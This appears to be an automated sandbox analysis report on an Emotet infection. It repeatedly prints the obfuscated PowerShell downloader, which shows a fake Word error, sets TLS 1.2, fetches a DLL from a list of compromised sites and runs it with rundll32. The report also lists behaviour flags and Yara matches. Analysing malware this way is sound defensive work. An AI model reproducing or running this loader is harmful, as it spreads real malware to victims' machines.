Source: unknown Process created: Base64 decoded SET ("5"+"FTsG") ( [tYPE]("{1}{3}{0}{4}{2}" -F 'Io.','sy','Ory','stem.','dIrect')) ; $qE3R9= [TyPe]("{1}{0}{5}{4}{2}{3}"-f'Y','S','PoiNtmAn','AGEr','tEm.nET.SeRVIce','s') ;$Ko3ac63=$T82H + [char](33) + $P6_S;$I70Z=('Y5'+'0E'); (Get-iTEm ("v"+"a"+"RIABle:5"+"FtSg") ).ValUe::"Cr`EAtE`dire`ctorY"($HOME + ((('e2W'+'K'+'ak')+('tksw'+'e'+'2W')+('An6ot'+'h')+('he'+'2W')) -cREPLACe ('e'+'2W'),[CHAR]92));$W90X=('D'+('63'+'T')); (VarIABle Qe3R9 -vALuEOnl )::"S`EC`UrIt`Y`protoCOL" = ('Tl'+('s1'+'2'));$E32N=('J'+('96'+'C'));$Ue7v6em = (('N'+'49')+'I');$B31C=('A8'+'1J');$Qfx10xa=$HOME+(('{0}Ka'+'ktksw{'+'0'+'}'+'An'+'6othh{0}')-F [chaR]92)+$Ue7v6em+'.d' + 'll';$Y03E=('B3'+'3R');$K1iuxxp='h' + 'tt' + 'p';$Ta1ysp4=('ns'+' '+('wu d'+'b ')+('n'+'d:')+('/'+'/shan')+'n'+('ar'+'e')+'d'+('.com/co'+'n'+'te'+'n')+'t'+('/lh'+'A')+('Le'+'S')+('/!n'+'s')+(' wu '+'db')+(' n'+'d:')+'//'+('jee'+'van')+('lic.com/w'+'p-'+'co'+'n'+'te')+('nt'+'/')+('r'+'8M/!'+'ns')+(' '+'wu '+'db nd')+(':/'+'/d')+'as'+('h'+'ud')+('ance'+'.co')+('m/'+'th')+'in'+('kp'+'h'+'p/d')+'g'+'s'+('7J'+'m9')+'/'+('!n'+'s w')+('u d'+'b')+(' n'+'d:/'+'/')+('l'+'eo')+('par'+'dc')+('ran'+'es')+('.co'+'m/'+'zynq')+'-'+'l'+('i'+'nu'+'x'+'-yaay')+'f/'+('w'+'/!n')+'s '+('wu '+'db'+' ')+'n'+'d'+':'+'/'+('/mmrinc'+'s.')+('co'+'m'+'/eternal-')+('d'+'uel')+('i'+'st-')+('9cu'+'qv/j')+('x'+'GQj/!'+'n')+('s'+' w')+('u d'+'b nd'+':/')+('/3'+'mu'+'sk')+'et'+('eer'+'sent.ne'+'t/')+('w'+'p-in'+'cludes/TU'+'gD/!n'+'s ')+'wu'+' '+('d'+'b ')
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded SET ("5"+"FTsG") ( [tYPE]("{1}{3}{0}{4}{2}" -F 'Io.','sy','Ory','stem.','dIrect')) ; $qE3R9= [TyPe]("{1}{0}{5}{4}{2}{3}"-f'Y','S','PoiNtmAn','AGEr','tEm.nET.SeRVIce','s') ;$Ko3ac63=$T82H + [char](33) + $P6_S;$I70Z=('Y5'+'0E'); (Get-iTEm ("v"+"a"+"RIABle:5"+"FtSg") ).ValUe::"Cr`EAtE`dire`ctorY"($HOME + ((('e2W'+'K'+'ak')+('tksw'+'e'+'2W')+('An6ot'+'h')+('he'+'2W')) -cREPLACe ('e'+'2W'),[CHAR]92));$W90X=('D'+('63'+'T')); (VarIABle Qe3R9 -vALuEOnl )::"S`EC`UrIt`Y`protoCOL" = ('Tl'+('s1'+'2'));$E32N=('J'+('96'+'C'));$Ue7v6em = (('N'+'49')+'I');$B31C=('A8'+'1J');$Qfx10xa=$HOME+(('{0}Ka'+'ktksw{'+'0'+'}'+'An'+'6othh{0}')-F [chaR]92)+$Ue7v6em+'.d' + 'll';$Y03E=('B3'+'3R');$K1iuxxp='h' + 'tt' + 'p';$Ta1ysp4=('ns'+' '+('wu d'+'b ')+('n'+'d:')+('/'+'/shan')+'n'+('ar'+'e')+'d'+('.com/co'+'n'+'te'+'n')+'t'+('/lh'+'A')+('Le'+'S')+('/!n'+'s')+(' wu '+'db')+(' n'+'d:')+'//'+('jee'+'van')+('lic.com/w'+'p-'+'co'+'n'+'te')+('nt'+'/')+('r'+'8M/!'+'ns')+(' '+'wu '+'db nd')+(':/'+'/d')+'as'+('h'+'ud')+('ance'+'.co')+('m/'+'th')+'in'+('kp'+'h'+'p/d')+'g'+'s'+('7J'+'m9')+'/'+('!n'+'s w')+('u d'+'b')+(' n'+'d:/'+'/')+('l'+'eo')+('par'+'dc')+('ran'+'es')+('.co'+'m/'+'zynq')+'-'+'l'+('i'+'nu'+'x'+'-yaay')+'f/'+('w'+'/!n')+'s '+('wu '+'db'+' ')+'n'+'d'+':'+'/'+('/mmrinc'+'s.')+('co'+'m'+'/eternal-')+('d'+'uel')+('i'+'st-')+('9cu'+'qv/j')+('x'+'GQj/!'+'n')+('s'+' w')+('u d'+'b nd'+':/')+('/3'+'mu'+'sk')+'et'+('eer'+'sent.ne'+'t/')+('w'+'p-in'+'cludes/TU'+'gD/!n'+'s ')+'wu'+' '+('d'+'b ') Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',jrGFt Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',#1 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC Jump to behavior

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 00000009.00000002.2102135109.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100845487.0000000000280000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345876127.0000000000260000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098814580.00000000003D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098169869.0000000000180000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345849703.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101932435.0000000000260000.00000040.00000001.sdmp, type: MEMORY
